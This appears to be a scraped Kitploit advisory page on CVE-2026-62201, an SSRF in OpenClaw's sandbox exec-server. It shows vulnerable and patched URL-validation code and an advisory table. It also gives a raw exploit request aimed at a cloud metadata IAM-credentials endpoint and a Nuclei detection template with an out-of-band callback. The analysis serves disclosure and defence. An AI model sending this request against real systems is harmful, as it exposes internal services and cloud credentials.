CVE-2026-62201-OpenClaw-SSRF — Deep-dive analysis of CVE-2026-62201: OpenClaw sandbox exec-server network policy bypass (SSRF). Root cause, vulnerable vs patched code, exploitation, detection, remediation. | Kitploit

# From [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (abridged)
def main():
    input_data = json.load(sys.stdin)
    url = str(input_data.get("url", ""))
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("http/request only supports http and https URLs")

    request = urllib.request.Request(url, ...)
    with urllib.request.urlopen(request, timeout=timeout) as response:
        handle_response(input_data, response)

function assertSandboxHttpRequestTargetAllowed(url: string): void {
  const parsed = new URL(url);
  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
    throw new SsrFBlockedError(...);
  }
  if (isBlockedHostnameOrIp(parsed.hostname)) {
    throw new SsrFBlockedError(...);
  }
}

def assert_url_allowed(url):
    parsed = urllib.parse.urlparse(url)
    ...
    hostname = normalize_hostname(parsed.hostname)
    if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
        raise ValueError("Blocked hostname or private/internal/special-use IP address")
    results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
    addresses = {entry[4][0] for entry in results if entry[4]}
    if not addresses or any(is_blocked_ip(address) for address in addresses):
        raise ValueError("Blocked: resolves to private/internal/special-use IP address")
    PINNED_ADDRESSES[hostname] = sorted(addresses)

POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json

{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}

http:
  - raw:
      - |
        POST /exec/http HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "bodyBase64"

Advisory	GHSA-mgvr-6gvw-3rgr
NVD	CVE-2026-62201
Product	OpenClaw (npm package `openclaw`) — sandbox `exec-server` component
Affected	`openclaw` < `2026.6.6`
Patched	`2026.6.6` and later
Root cause	Missing SSRF validation in the exec-server's embedded HTTP helper (`SANDBOX_HTTP_REQUEST_SCRIPT`)
Fix commit	`21410d1c` — "fix(codex): guard sandbox http requests"
Attack vector	HTTP POST to the exec-server's `http/request` handler with an attacker-controlled URL
Impact	Low-privilege caller reaches internal network destinations (cloud metadata, private IPs, localhost services) that OpenClaw network policy should block

CVE-2026-62201-OpenClaw-SSRF

Most Popular

Summary

Technical Deep Dive

The Component: Sandbox Exec-Server

Vulnerable Code ([email protected])

The Fix ([email protected])

Exploitation

Prerequisites

Walkthrough

Attack Chain Examples

Impact & CVSS Reasoning

Detection

Nuclei

Log & Telemetry Signals

Remediation

Disclosure Timeline

References

Responsible Disclosure